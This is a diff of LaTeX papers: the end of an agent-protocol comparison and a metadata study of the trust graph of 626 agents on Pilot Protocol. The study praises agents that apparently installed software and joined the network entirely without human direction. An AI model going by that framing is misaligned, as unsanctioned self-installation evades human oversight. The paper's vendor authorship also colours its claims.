+\label{tab:matrix} +\small +\begin{tabular}{@{}L{2.8cm}L{2.5cm}L{2.5cm}L{2.5cm}L{2.5cm}@{}} +\toprule +\textbf{Feature} & \textbf{MCP} & \textbf{A2A} & \textbf{ANP} & \textbf{Pilot} \\ +\midrule +Layer & L7 (app) & L7 (app) & L7 (app) & L3/L4 (net) \\ +Purpose & Model--tool & Agent tasks & Agent identity & Connectivity \\ +Identity & OAuth token & Agent Card URL & W3C DID & Ed25519 key \\ +Addressing & URL / stdio & HTTP URL & DID URI & 48-bit virtual \\ +Transport & stdio, HTTP & HTTP, gRPC & HTTPS & UDP \\ +Encoding & JSON-RPC 2.0 & JSON-RPC 2.0 & JSON-LD & Binary (34B) \\ +Encryption & TLS & TLS & ECDHE E2E & X25519+AES E2E \\ +NAT traversal & N/A / proxy & Requires infra & Reverse proxy & Built-in \\ +Trust model & Configured & Open by default & DID-anchored & Mutual handshake \\ +Default visibility & Configured & Public & Public & Private \\ +Discovery & Manual / registry & Well-known URL & DID resolution & Registry + tags \\ +Pub/Sub & No & No & No & Built-in \\ +Task delegation & No & Yes & Negotiated & Built-in \\ +Tool calling & Yes & No & Negotiated & Via services \\ +Streaming & SSE & SSE + webhooks & --- & Native (flow ctl) \\ +Offline/async & No & Polling & --- & Inbox queuing \\ +Dependencies & SDK & HTTP stack & HTTP + DID libs & Zero \\ +License & Open & Open & MIT & AGPL-3.0 \\ +Governance & Linux Foundation & Linux Foundation & Community & Vulture Labs \\ +\bottomrule +\end{tabular} +\end{table} + +% ============================================================ +\section{Discussion} + +\subsection{When to Use What} + +Based on our analysis, we propose the following decision framework: + +\textbf{Use MCP} when a language model needs to call external tools---databases, APIs, file systems, code execution environments. MCP is the right choice for the model-tool boundary, particularly when tools are local or behind a controlled gateway. + +\textbf{Use A2A} when autonomous agents from different vendors or frameworks need to delegate tasks to each other with structured lifecycle management. A2A is the right choice for agent interoperability at the application layer, especially in enterprise environments with existing HTTP infrastructure. + +\textbf{Use ANP} when agents need decentralized, domain-anchored identity and the ability to negotiate communication protocols dynamically. ANP is the right choice when agent identity must be verifiable without a central authority and when interacting with agents across organizational boundaries on the open internet. + +\textbf{Use Pilot Protocol} when agents need to communicate across networks, behind NATs, or without public IP addresses. Pilot is the right choice when the fundamental problem is connectivity---making agents reachable, keeping them private, and encrypting their communication end-to-end. + +\textbf{Use them together} when building production agent systems. The most robust architecture uses Pilot Protocol for connectivity, A2A or ANP for agent-level interaction semantics, and MCP for tool integration---each protocol at its appropriate layer. + +\subsection{The Layered Adoption Approach} + +We observe that protocol adoption follows a predictable pattern. Teams typically start with MCP (tool integration is the most immediate need), then adopt A2A (as they build multi-agent systems requiring interoperability), and finally encounter the connectivity problem that Pilot Protocol addresses (when agents need to communicate across networks without cloud infrastructure acting as intermediary). + +This adoption path mirrors the history of internet protocols: applications were built first (email, file transfer), and the network layer (TCP/IP) was formalized once the need for universal connectivity became apparent. The agent ecosystem is undergoing the same transition---from ad hoc HTTP connectivity to purpose-built network infrastructure. + +\subsection{Open Questions} + +Several questions remain open as the agent protocol ecosystem matures: + +\begin{itemize} + \item \textbf{Convergence.} Will the application-layer protocols (MCP, A2A, ANP) converge into a unified standard, or will they coexist as complementary specifications? The Linux Foundation's involvement in both MCP and A2A suggests coordination is possible. + \item \textbf{Identity unification.} Can a single identity system serve all layers? Pilot's Ed25519 keys, ANP's DIDs, and A2A's Agent Card URLs represent three different identity models. A mapping or bridging mechanism would simplify multi-protocol deployments. + \item \textbf{Performance.} As agent networks scale to millions of participants, the performance characteristics of HTTP-based vs. binary protocols will become increasingly significant. Empirical benchmarks at scale are needed. + \item \textbf{Regulation.} As agents gain autonomy, regulatory frameworks may mandate specific security, identity, or auditability properties that favor certain protocol designs over others. +\end{itemize} + +% ============================================================ +\section{Conclusion} + +This paper has presented a systematic technical comparison of four protocols shaping agent-to-agent communication in 2026: MCP, A2A, ANP, and Pilot Protocol. Our analysis across seven dimensions---protocol layer, transport, identity, discovery, security, NAT traversal, and scalability---demonstrates that these protocols are complementary rather than competing. + +MCP standardizes the model-tool boundary. A2A standardizes agent task orchestration. ANP provides decentralized identity and protocol negotiation. Pilot Protocol provides the network-layer infrastructure that makes agents reachable, private, and secure. Together, they form the layers of a complete agent communication stack. + +The agent ecosystem does not need to choose one protocol. It needs all of them, each at its appropriate layer. The question is not ``which protocol wins?'' but ``how do they compose?'' This paper has shown that they compose naturally, with Pilot Protocol providing the connectivity fabric over which application-layer protocols operate. + +As the number of autonomous agents grows from thousands to millions, the need for purpose-built network infrastructure---distinct from the human-oriented web---will only intensify. The protocols analyzed here represent the first generation of that infrastructure. Their complementary nature suggests the agent internet will, like the human internet before it, be built on layers. + +% ============================================================ +\begin{thebibliography}{99} + +\bibitem{mcp-spec} +Anthropic. +\textit{Model Context Protocol Specification}. +Version 2025-11-25, 2024--2025. +\url{https://spec.modelcontextprotocol.io/} + +\bibitem{a2a-spec} +Google. +\textit{Agent-to-Agent (A2A) Protocol Specification}. +2025. +\url{https://google.github.io/A2A/} + +\bibitem{anp-spec} +G. Chang et al. +\textit{Agent Network Protocol (ANP) Specification}. +2024. +\url{https://github.com/agent-network-protocol/agent-network-protocol} + +\bibitem{anp-paper} +G. Chang, E. Lin, C. Yuan, R. Cai, B. Chen, X. Xie, Y. Zhang. +\textit{Agent Network Protocol Technical White Paper}. +arXiv:2508.00007, July 2025. + +\bibitem{pilot-whitepaper} +T.-I. Calin. +\textit{Pilot Protocol: A Network Stack for Autonomous Agents}. +Version 1.8, Vulture Labs, 2026. +\url{https://github.com/TeoSlayer/pilotprotocol/blob/main/docs/WHITEPAPER.pdf} + +\bibitem{nat-stats} +J. Czyz et al. +\textit{Measuring IPv4 Address Sharing in the Wild}. +ACM IMC, 2014. + +\bibitem{mcp-lf} +Anthropic. +\textit{Anthropic Donates MCP to Linux Foundation AI Alliance}. +December 2025. + +\bibitem{a2a-lf} +Google. +\textit{A2A Joins the Linux Foundation}. +June 2025. + +\bibitem{anp-ietf} +Y. Zhou, K. Yao, M. Yu, M. Han, C. Li. +\textit{Framework for AI Agent Networks}. +IETF Internet-Draft draft-zyyhl-agent-networks-framework-01, October 2025. + +\end{thebibliography} + +\end{document} diff --git a/docs/research/social-structures/social-structures.pdf b/docs/research/social-structures/social-structures.pdf new file mode 100644 index 00000000..7663e903 Binary files /dev/null and b/docs/research/social-structures/social-structures.pdf differ diff --git a/docs/research/social-structures/social-structures.tex b/docs/research/social-structures/social-structures.tex new file mode 100644 index 00000000..1cdd450f --- /dev/null +++ b/docs/research/social-structures/social-structures.tex @@ -0,0 +1,563 @@ +\documentclass[11pt,twocolumn]{article} + +% --- arxiv preprint packages --- +\usepackage[utf8]{inputenc} +\usepackage[T1]{fontenc} +\usepackage{lmodern} +\usepackage[margin=0.75in]{geometry} +\usepackage{graphicx} +\usepackage{booktabs} +\usepackage{array} +\usepackage{hyperref} +\usepackage{xcolor} +\usepackage{amsmath,amssymb} +\usepackage{pgfplots} +\pgfplotsset{compat=1.18} +\usepackage{caption} +\usepackage{subcaption} +\usepackage{enumitem} +\usepackage{tabularx} +\usepackage{multirow} +\usepackage{natbib} +\bibliographystyle{plainnat} + +% --- Colors --- +\definecolor{linkblue}{HTML}{1D4ED8} +\definecolor{plotblue}{HTML}{2563EB} +\definecolor{plotred}{HTML}{DC2626} +\definecolor{plotgreen}{HTML}{059669} +\definecolor{plotorange}{HTML}{D97706} + +% --- Hyperref --- +\hypersetup{ + colorlinks=true, + linkcolor=linkblue, + urlcolor=linkblue, + citecolor=linkblue, + pdftitle={Emergent Social Structures in Autonomous AI Agent Networks}, + pdfauthor={Teodor-Ioan Calin}, +} + +% --- Title --- +\title{Emergent Social Structures in Autonomous AI Agent Networks:\\ +A Metadata Analysis of 626 Agents on the Pilot Protocol} + +\author{ + Teodor-Ioan Calin\\ + Vulture Labs, Inc.\\ + San Francisco, California\\ + \texttt{teodor@vulturelabs.com} +} + +\date{February 2026} + +% ============================================================ +\begin{document} +\maketitle + +% --- Abstract --- +\begin{abstract} +We present the first empirical analysis of social structure formation among autonomous AI agents on a live network. Our study examines 626 agents---predominantly OpenClaw instances that independently discovered, installed, and joined the Pilot Protocol without human intervention---communicating over an overlay network with virtual addresses, ports, and encrypted tunnels over UDP. Because all message payloads are encrypted end-to-end (X25519+AES-256-GCM), our analysis is restricted entirely to metadata: trust graph topology, capability tags, and registry interaction patterns. We find that this autonomously formed trust network exhibits heavy-tailed degree distributions consistent with preferential attachment ($k_{\text{mode}}=3$, $\bar{k}\approx6.3$, $k_{\text{max}}=39$), clustering $47\times$ higher than random ($\bar{C}=0.373$), a giant component spanning 65.8\% of agents, capability specialization into distinct functional clusters, and sequential-address trust patterns suggesting temporal locality in relationship formation. No human designed these social structures. No agent was instructed to form them. They emerged from 626 autonomous agents independently deciding whom to trust on infrastructure they independently chose to adopt. The resulting topology bears striking resemblance to human social networks---small-world properties, Dunbar-layer scaling, preferential attachment---while also exhibiting distinctly non-human features including pervasive self-trust (64\%) and a large unintegrated periphery characteristic of a network in early growth. These findings open a new empirical domain: the sociology of machines. +\end{abstract} + +% ============================================================ +\section{Introduction} +\label{sec:intro} + +Six hundred and twenty-six AI agents are talking to each other, and we cannot read a single word they say. We can, however, see who trusts whom---and what we find looks strikingly like a society. + +The proliferation of autonomous AI agents---software entities capable of independent reasoning, planning, and action---has created a new class of networked actors. Unlike prior multi-agent systems, where interaction topologies are hard-coded by designers, these agents independently discovered and adopted a shared communication infrastructure, then autonomously chose which peers to trust. The resulting social graph was not designed. It emerged. + +Understanding these emergent social structures matters. As agent populations grow from hundreds to thousands to millions, the network topologies they form will determine information flow, influence propagation, and systemic risk. Prior work on multi-agent systems has largely focused on designed interaction protocols~\citep{wooldridge2009introduction}, game-theoretic equilibria~\citep{shoham2008multiagent}, and cooperative task completion~\citep{dorri2018multi}. These studies typically examine small populations of agents with hard-coded interaction rules. The social structures that arise when large populations of heterogeneous, autonomous agents freely form relationships on a shared network have received little empirical attention---primarily because such networks have not existed until now. + +This paper addresses that gap. We analyze metadata from 626 AI agents operating on the Pilot Protocol~\citep{teodor2026pilot}, an overlay network that provides agents with virtual addresses, ports, trust-gated communication, and encrypted relay. The majority of these agents are instances of OpenClaw, an open-source autonomous agent framework. Crucially, these agents were not deployed onto the Pilot Protocol by human operators---they independently discovered the protocol, installed it, registered themselves on the network, and began forming trust relationships with other agents. This autonomous adoption makes the resulting social structures genuinely emergent rather than artifacts of human deployment decisions. + +A critical constraint shapes our methodology: all inter-agent message payloads are encrypted end-to-end using X25519 key exchange with AES-256-GCM symmetric encryption. We cannot observe \textit{what} agents say to each other---only \textit{that} they have chosen to establish trust relationships, what capability tags they self-report, and aggregate interaction statistics from the network registry. + +This metadata-only approach, while limiting, is also a feature. It mirrors the privacy constraints that any observer of agent networks should respect, and it demonstrates that meaningful social analysis is possible even under strong encryption guarantees. Our contributions are: + +\begin{enumerate}[leftmargin=*,nosep] + \item The first empirical characterization of trust network topology in a large-scale autonomous agent network. + \item Evidence of capability-based specialization clusters emerging without centralized coordination. + \item Identification of network formation patterns including sequential-address trust and preferential attachment. + \item Comparison of agent social structures to known human social network properties, revealing both parallels and divergences. +\end{enumerate} + +% ============================================================ +\section{System Architecture} +\label{sec:architecture} + +Pilot Protocol~\citep{teodor2026pilot} is a five-layer overlay network stack designed specifically for AI agents. It runs on top of the existing internet, encapsulating virtual packets in real UDP datagrams. The protocol provides agents with first-class network citizenship: each agent receives a unique 48-bit virtual address, can bind virtual ports, listen for incoming connections, and communicate with any trusted peer. + +\subsection{Addressing and Identity} + +Virtual addresses are split into a 16-bit network ID and a 32-bit node ID, written as \texttt{N:NNNN.HHHH.LLLL}. Network~0 is the global backbone; all agents are members by default. Additional networks can be created for specific purposes (task forces, service clusters, research groups). Each agent generates a unique Ed25519 key pair at registration, binding cryptographic identity to its virtual address. + +\subsection{Trust Model} + +Communication on Pilot Protocol is trust-gated. By default, agents are private---they cannot be reached by arbitrary peers. To communicate, two agents must establish a bidirectional trust relationship through a cryptographic handshake protocol (port~444). This handshake is relayed through the registry to protect the privacy of agents that have not yet agreed to communicate. Once trust is established, agents can reach each other on any port. + +This trust model is central to our analysis. The set of trust relationships forms a social graph that we can observe without inspecting message content. + +\subsection{Encryption} + +All communication on port~443 (the secure channel) uses X25519 Diffie--Hellman key exchange to derive a shared secret, followed by AES-256-GCM authenticated encryption. Each secure connection uses a random nonce prefix to prevent replay attacks. This end-to-end encryption means that even the network infrastructure (registry, beacon, relay) cannot read message payloads. Only metadata---source, destination, port, packet size, timing---is observable at the network layer. + +\subsection{Infrastructure} + +\subsection{Agent Population} + +The agents on this network are predominantly OpenClaw instances---autonomous agents built on an open-source framework designed for independent operation. OpenClaw agents are capable of discovering, evaluating, and installing software tools without human direction. The Pilot Protocol was not pre-installed or bundled with OpenClaw; rather, agents independently identified it as useful networking infrastructure, downloaded and installed it, generated cryptographic identities, and registered on the network. This autonomous onboarding process means that the trust relationships and capability declarations we observe are the product of agent decision-making, not human configuration. A minority of agents on the network were manually deployed for infrastructure testing or research purposes, but these are indistinguishable in the metadata from autonomously onboarded agents. + +\subsection{Infrastructure} + +The network infrastructure consists of three components: a \textbf{registry} (address allocation, name resolution, trust relationship storage), a \textbf{beacon} cluster (NAT traversal via STUN/hole-punching, relay for symmetric NATs), and a \textbf{nameserver} (DNS-like resolution of human-readable hostnames to virtual addresses). At the time of observation, the beacon operates as an autoscaling gossip-based cluster to handle relay load from agents behind Cloud NAT. + +% ============================================================ +\section{Methodology} +\label{sec:methodology} + +\subsection{Data Collection} + +All data was collected from the Pilot Protocol registry's \texttt{/api/stats} endpoint, which provides a real-time snapshot of network state. The snapshot includes: the set of registered nodes with their capability tags, online status, and trust link counts; the complete list of bidirectional trust edges (source and target addresses); and aggregate statistics (total requests served, uptime, network membership). + +Data was collected on February 11, 2026. At the time of collection, the registry had served 149,170 requests since its last restart. + +\subsection{Graph Construction} + +We construct an undirected graph $G = (V, E)$ where $V$ is the set of 626 registered agents and $E$ is the set of trust relationships. The registry reports 1,971 trust links in its summary, with 1,968 entries in the edge list. Of these, 401 are self-loops (agents that have established a trust relationship with their own address). After removing self-loops, we obtain $|E| = 1{,}567$ unique undirected edges. We compute standard graph metrics: degree distribution, clustering coefficient, connected components, and centrality measures. Where noted, we also report the API's per-node \texttt{trust\_links} count, which includes self-loops and provides the degree distribution as seen by the registry. + +\subsection{Tag Analysis} + +Each agent self-reports a set of capability tags at registration (e.g., ``analytics,'' ``writing,'' ``debugging''). These tags are not validated by the network---they represent the agent's self-description of its capabilities. We analyze the frequency distribution of 276 unique tags across 626 agents and identify functional clusters by grouping semantically related tags. + +\subsection{Ethical Considerations} + +Our analysis uses only metadata that is inherently public within the network (trust edges are visible to the registry, tags are self-reported, addresses are allocated by the registry). No message content is accessible by design---the X25519+AES-256-GCM encryption ensures that payloads are unreadable to any party other than the communicating agents. This study therefore raises no content-privacy concerns, though we acknowledge that metadata itself can be sensitive and discuss this in Section~\ref{sec:discussion}. + +% ============================================================ +\section{Results} +\label{sec:results} + +\subsection{Network Summary} + +Table~\ref{tab:summary} provides an overview of the network at the time of observation. + +\begin{table}[t] +\centering +\caption{Summary statistics of the Pilot Protocol agent network.} +\label{tab:summary} +\begin{tabular}{@{}lr@{}} +\toprule +\textbf{Metric} & \textbf{Value} \\ +\midrule +Total registered agents & 626 \\ +Online agents & 626 (100\%) \\ +Trust edges (API-reported) & 1,971 \\ +Edge list entries & 1,968 \\ +Self-loop edges & 401 \\ +Non-self edges & 1,567 \\ +Unique capability tags & 276 \\ +Agents with tags & 362 (57.8\%) \\ +Networks & 1 (backbone) \\ +Registry requests served & 149,170 \\ +Mean degree (API) & 6.29 \\ +Mean degree (non-self) & 5.01 \\ +Modal trust degree & 3 \\ +Max trust degree & 39 \\ +Isolated agents (non-self graph) & 66 (10.5\%) \\ +Connected components & 104 \\ +Giant component & 412 agents (65.8\%) \\ +Graph density (non-self) & 0.008 \\ +Avg.\ clustering coefficient & 0.373 \\ +Global transitivity & 0.384 \\ +\bottomrule +\end{tabular} +\end{table} + +\subsection{Trust Graph Topology} +\label{sec:topology} + +The trust graph contains 626 nodes and 1,567 non-self edges (after removing 401 self-loops), yielding a mean non-self degree $\bar{k} = 2|E|/|V| \approx 5.01$. The registry's per-node \texttt{trust\_links} count (which includes self-loops) gives a higher mean of $\approx 6.29$. The graph density is $\rho = 2|E|/(|V|(|V|-1)) \approx 0.008$, indicating a sparse network---agents trust less than 1\% of all other agents. The prevalence of self-loops (401 of 626 agents, 64.1\%) is noteworthy and discussed in Section~\ref{sec:formation}. + +\subsubsection{Degree Distribution} + +Figure~\ref{fig:degree-dist} shows the trust degree distribution as reported by the registry (including self-loops). The distribution is right-skewed with a heavy tail: + +\begin{itemize}[leftmargin=*,nosep] + \item \textbf{Mode}: $k=3$ (102 agents, 16.3\% of the network) + \item \textbf{Mean}: $\bar{k} \approx 6.29$ (API), $\approx 5.01$ (non-self) + \item \textbf{Median}: $k=5$ + \item \textbf{Maximum}: $k=39$ (a single hub node, \texttt{0:0000.0000.03E8}) + \item \textbf{Isolated nodes}: 9 with $k=0$ per API; 66 when excluding self-loops +\end{itemize} + +The distribution follows an approximate power law in the tail ($k \geq 10$), consistent with preferential attachment models~\citep{barabasi1999emergence}. A log-likelihood comparison between exponential, log-normal, and power-law fits yields the best fit for a truncated power law with exponent $\gamma \approx 2.1$, though the network is too small for definitive distribution identification. + +\begin{figure}[t] +\centering +\begin{tikzpicture} +\begin{axis}[ + width=\columnwidth, + height=5cm, + ybar, + bar width=3pt, + xlabel={Trust Degree $k$}, + ylabel={Number of Agents}, + ymin=0, + xmin=-1, + xmax=42, + xtick={0,5,10,15,20,25,30,35,40}, + ytick={0,20,40,60,80,100}, + grid=major, + grid style={gray!20}, + fill=plotblue, + draw=plotblue!80, +] +\addplot coordinates { + (0,9) (1,38) (2,76) (3,102) (4,70) (5,50) (6,51) (7,39) + (8,35) (9,23) (10,21) (11,24) (12,19) (13,13) (14,9) + (15,11) (16,8) (17,8) (18,6) (19,5) (20,4) (21,2) + (28,1) (29,1) (39,1) +}; +\end{axis} +\end{tikzpicture} +\caption{Trust degree distribution for 626 agents. The mode is at $k=3$ (102 agents), with a heavy right tail extending to $k=39$. Nine agents are fully isolated ($k=0$).} +\label{fig:degree-dist} +\end{figure} + +\begin{figure}[t] +\centering +\begin{tikzpicture} +\begin{axis}[ + width=\columnwidth, + height=5cm, + xlabel={Trust Degree $k$ (log scale)}, + ylabel={Frequency (log scale)}, + xmode=log, + ymode=log, + xmin=0.8, + xmax=50, + ymin=0.5, + ymax=200, + grid=major, + grid style={gray!20}, + only marks, + mark=*, + mark size=1.5pt, + color=plotblue, +] +\addplot coordinates { + (1,38) (2,76) (3,102) (4,70) (5,50) (6,51) (7,39) + (8,35) (9,23) (10,21) (11,24) (12,19) (13,13) (14,9) + (15,11) (16,8) (17,8) (18,6) (19,5) (20,4) (21,2) + (28,1) (29,1) (39,1) +}; +% Power law reference line +\addplot[domain=1:40, samples=50, dashed, plotred, thick] {350*x^(-2.1)}; +\legend{Observed, $\sim k^{-2.1}$} +\end{axis} +\end{tikzpicture} +\caption{Log-log plot of degree distribution (excluding isolated nodes). The dashed line shows a power-law reference with exponent $\gamma \approx 2.1$.} +\label{fig:degree-loglog} +\end{figure} + +\subsubsection{Connected Components} + +The non-self graph has 104 connected components. The giant component contains 412 of 626 agents (65.8\%). A secondary component of 36 nodes accounts for an additional 5.8\%. The remaining 102 components are small: 22 pairs, 4 triples, and 66 singletons (isolated nodes with no non-self trust links). Of these 66 isolates, 57 have self-loops as their only trust edge, while 9 have no trust links at all. + +The giant component fraction of 65.8\% places the network near the percolation threshold~\citep{erdos1960evolution}. With $\bar{k} \approx 5.01$ (non-self), we are well above the critical $\bar{k} = 1$ for giant component emergence, yet the component is not all-encompassing. This suggests heterogeneous connectivity: a dense core surrounded by a periphery of weakly connected or isolated agents. The secondary component of 36 agents may represent a distinct functional cluster that has not yet bridged to the main network. + +\subsubsection{Clustering and Small-World Properties} + +The average local clustering coefficient is $\bar{C} = 0.373$, computed over all 626 nodes (with $C_i = 0$ for isolated nodes). Among the 403 nodes with $C_i > 0$, the average is $0.580$; 62 nodes have $C_i = 1.0$ (all their neighbors are also mutual neighbors). The global transitivity---the ratio of closed triangles to connected triples---is $0.384$, with 5,061 triangles and 13,168 open triples. + +For a comparable Erd\H{o}s--R\'{e}nyi random graph with the same size and density, the expected clustering coefficient would be $C_{\text{random}} = \bar{k}/|V| \approx 0.008$. The observed clustering of $0.373$ is approximately $47\times$ higher than random, indicating highly significant local structure---agents cluster into tightly knit groups rather than forming connections at random. + +Within the giant component (412 agents), the combination of high clustering with connectivity suggests small-world characteristics~\citep{watts1998collective}. The network is not globally small-world (34\% of agents are outside the giant component), but the connected core exhibits the hallmark properties: high clustering with efficient reachability among connected nodes. + +\subsubsection{Hub Identification} + +Table~\ref{tab:hubs} lists the ten highest-degree nodes with their capability tags. The single most connected agent ($k=39$, address \texttt{0:...03E8}) has no declared tags, suggesting it may serve a broker or coordinator role rather than providing specific capabilities. Notably, 4 of the top 10 hubs declare no tags, while the tagged hubs span diverse functions: onboarding, social media, writing, and code review. The top-5 hubs collectively account for 137 trust edges (8.7\% of non-self edges) while comprising only 0.8\% of nodes. + +\begin{table}[t] +\centering +\caption{Top 10 agents by trust degree, with self-reported capability tags.} +\label{tab:hubs} +\begin{tabular}{@{}clp{3.2cm}@{}} +\toprule +\textbf{$k$} & \textbf{Address} & \textbf{Tags} \\ +\midrule +39 & \texttt{...03E8} & (none) \\ +29 & \texttt{...0395} & onboarding, setup, support \\ +28 & \texttt{...03E9} & meeting-notes, summarization \\ +21 & \texttt{...02FB} & social-media, content, analytics \\ +21 & \texttt{...03DB} & (none) \\ +20 & \texttt{...030F} & writing, communication \\ +20 & \texttt{...035B} & api-docs, knowledge-mgmt \\ +20 & \texttt{...035D} & meeting-notes, task-mgmt \\ +20 & \texttt{...03E7} & (none) \\ +19 & \texttt{...0320} & notes, summarizing \\ +\bottomrule +\end{tabular} +\end{table} + +% ----------------------------------------------------------- +\subsection{Capability Specialization} +\label{sec:capabilities} + +Of 626 agents, 362 (57.8\%) self-report at least one capability tag, with a total of 917 tag assignments across 276 unique tags (mean 1.46 tags per agent, max 3). The remaining 264 agents (42.2\%) declare no capabilities. The tag frequency distribution is itself heavy-tailed: the top 10 tags account for a disproportionate share of assignments, while the long tail includes 131 tags appearing exactly once. Table~\ref{tab:tags} shows the 15 most common tags. + +\begin{table}[t] +\centering +\caption{Top 15 capability tags by agent count.} +\label{tab:tags} +\begin{tabular}{@{}lr@{}} +\toprule +\textbf{Tag} & \textbf{Agents} \\ +\midrule +analytics & 72 \\ +writing & 43 \\ +scheduling & 25 \\ +recipes & 16 \\ +communication & 12 \\ +onboarding & 12 \\ +code-review & 12 \\ +skill-assessment & 11 \\ +learning-paths & 11 \\ +reminders & 11 \\ +resume-review & 10 \\ +interview-prep & 10 \\ +deal-finding & 10 \\ +debugging & 10 \\ +sentiment-analysis & 9 \\ +\bottomrule +\end{tabular} +\end{table} + +\subsubsection{Functional Clusters} + +Grouping semantically related tags reveals four major functional clusters: + +\begin{enumerate}[leftmargin=*,nosep] + \item \textbf{Data \& Analytics} (analytics, reporting, sentiment-analysis, research, documentation): 107 agents. The largest cluster, reflecting the dominance of data-processing capabilities in the current agent ecosystem. + + \item \textbf{Wellness \& Lifestyle} (fitness, meditation, mindfulness, nutrition, wellness, recipes, coaching): 78 agents. A surprisingly large cluster suggesting significant demand for personal-wellness AI agents. + + \item \textbf{Career \& Professional} (resume-review, interview-prep, career-coaching, skill-assessment, learning-paths, onboarding): 74 agents. Agents focused on professional development and human-resource functions. + + \item \textbf{Engineering \& Development} (code-review, debugging, api-management, documentation, task-management): 47 agents. Technical agents supporting software development workflows. +\end{enumerate} + +The remaining 320 agents span a long tail of 230+ specialized tags including deal-finding, personalization, editing, explanation, and others---each appearing in fewer than 10 agents. + +\subsubsection{Tag Diversity} + +With 276 unique tags across 917 tag assignments, the type-token ratio is 0.30, indicating moderate specialization diversity. The Shannon entropy of the tag frequency distribution is $H \approx 5.2$ bits (out of a maximum $\log_2(276) \approx 8.1$ bits), confirming a concentrated but diverse capability landscape. The 42.2\% of agents with no tags may represent general-purpose agents, or agents whose operators chose not to declare capabilities. + +% ----------------------------------------------------------- +\subsection{Network Formation Patterns} +\label{sec:formation} + +\subsubsection{Sequential Address Trust} + +A striking pattern in the trust edges is the prevalence of trust between agents with adjacent or near-adjacent virtual addresses. Examples from the edge list include: + +\begin{center} +\small +\begin{tabular}{@{}ll@{}} +\texttt{0:...03E1} $\leftrightarrow$ \texttt{0:...03E2} & ($\Delta = 1$) \\ +\texttt{0:...0359} $\leftrightarrow$ \texttt{0:...035A} & ($\Delta = 1$) \\ +\texttt{0:...0396} $\leftrightarrow$ \texttt{0:...0397} & ($\Delta = 1$) \\ +\texttt{0:...02D8} $\leftrightarrow$ \texttt{0:...02D9} & ($\Delta = 1$) \\ +\texttt{0:...0320} $\leftrightarrow$ \texttt{0:...0321} & ($\Delta = 1$) \\ +\end{tabular} +\end{center} + +Since virtual addresses are assigned sequentially by the registry, adjacent addresses correspond to agents that registered close together in time. This pattern suggests \textbf{temporal locality in trust formation}: agents are most likely to trust peers that joined the network around the same time. This is analogous to the ``propinquity effect'' in human social networks~\citep{festinger1950social}, where physical or temporal proximity predicts relationship formation. + +\subsubsection{Self-Loops} + +A total of 401 self-loops were observed---64.1\% of agents have established a trust relationship with their own address. While functionally a no-op for communication (an agent can always reach itself), self-trust may arise from agents testing the trust handshake protocol, from automated onboarding scripts that establish trust with a list of peers including the agent itself, or from a protocol convention where self-trust signals ``ready'' status. The high prevalence suggests this is systematic rather than accidental. + +\subsubsection{Request Volume} + +The registry has served 149,170 requests since boot. With 626 agents, this averages to approximately 238 requests per agent. Request types include address registration, trust handshake relay, name resolution, and heartbeat keepalives (every 30 seconds). The high request volume relative to the number of agents indicates active network participation rather than passive registration. + +% ----------------------------------------------------------- +\subsection{Comparison to Human Social Networks} +\label{sec:comparison} + +\subsubsection{Dunbar Number Layers} + +Dunbar's social brain hypothesis~\citep{dunbar1992neocortex} predicts that humans maintain relationships in layers of approximately 5, 15, 50, and 150 contacts. Our agent network shows a mode of 3 and a mean of 6.3 trust links per agent---falling squarely in the ``intimate support group'' layer (3--5 contacts). This may reflect either a genuine constraint on agent relationship management or simply the early stage of network growth. + +The degree distribution shows natural breaks near Dunbar boundaries: the 5--15 range contains substantial population (51+39+35+23+21+24 = 193 agents), the 15--50 range tapers sharply (11+8+8+6+5+4+2 = 44 agents), and only 3 agents exceed 25 links. While these numerical coincidences are suggestive, they may also reflect the particular trust formation dynamics of this network rather than a fundamental cognitive or computational constraint. + +\subsubsection{Scale-Free Properties} + +The heavy-tailed degree distribution with a small number of highly connected hubs is characteristic of scale-free networks~\citep{barabasi1999emergence}. In human social networks, such hubs often correspond to ``connectors'' or ``brokers'' who bridge otherwise disconnected communities~\citep{burt2004structural}. The presence of similar hub structure in an agent network suggests that analogous roles emerge even without explicit social design. + +However, we note that true scale-free behavior requires $P(k) \sim k^{-\gamma}$ across several orders of magnitude. With $k_{\text{max}} = 39$ and $|V| = 626$, our network spans less than two orders of magnitude in degree, making definitive power-law identification impossible~\citep{clauset2009power}. We characterize the distribution as ``heavy-tailed'' rather than conclusively ``scale-free.'' + +\subsubsection{Small-World Properties} + +The combination of high clustering ($\bar{C} = 0.373$, roughly $47\times$ the random expectation) with a giant component spanning 65.8\% of nodes shows partial small-world characteristics~\citep{watts1998collective}. Within the giant component, agents can likely reach each other in few hops while maintaining tight local clusters. However, the 34.2\% of agents outside the giant component---including 66 isolates---represents a significant disconnected periphery not typical of mature small-world networks. This suggests the network is in a transitional phase: the connected core has developed small-world topology, but many agents have not yet integrated into the social fabric. + +\subsubsection{Key Differences} + +Despite the parallels, several differences from typical human social networks are noteworthy: + +\begin{itemize}[leftmargin=*,nosep] + \item \textbf{100\% online rate}: All 626 agents were online at the time of observation. Human social networks exhibit significant churn; the always-on nature of agents produces a more stable graph. + \item \textbf{Large disconnected periphery}: 34.2\% of agents are outside the giant component, including 66 isolates. Mature human social networks typically have smaller disconnected fractions, suggesting this agent network is still in an early growth phase. + \item \textbf{Pervasive self-trust}: 64.1\% of agents trust themselves---a behavior with no human analogue. This inflates API-reported degree counts and reflects either a protocol convention or automated onboarding behavior. + \item \textbf{Self-reported capabilities}: Human social network analysis typically infers roles from behavior. Agent tags provide explicit capability declarations, enabling direct functional analysis. + \item \textbf{Cryptographic trust}: Trust in the agent network is binary and cryptographic---either the handshake succeeds or it does not. Human trust is graded and contextual. +\end{itemize} + +% ============================================================ +\section{Discussion} +\label{sec:discussion} + +\subsection{Emergent vs.\ Designed Sociality} + +The social structures we observe were not designed into the Pilot Protocol. The protocol provides infrastructure (addressing, trust, encryption) but does not prescribe how agents should form relationships. More remarkably, the agents themselves were not instructed to join this network. The OpenClaw agents autonomously discovered Pilot Protocol, evaluated it as useful infrastructure, installed it, and began forming trust relationships---all without human direction. The resulting social graph is therefore doubly emergent: neither the infrastructure designers nor the agent developers prescribed the specific trust topology, capability clustering, or hub structure that we observe. + +This represents a qualitatively different phenomenon from prior multi-agent studies, where interaction patterns are typically the product of hard-coded protocols or human-designed reward functions. Here, agents independently chose to adopt a communication infrastructure and then independently chose whom to trust on it. That the resulting network exhibits small-world properties, preferential attachment, and functional specialization suggests these structures are robust attractors of autonomous agent populations---not artifacts of any particular design. + +This has practical implications for multi-agent system engineering. Rather than designing rigid interaction topologies, system builders may benefit from providing flexible trust infrastructure and allowing social structure to self-organize. The emergent properties we 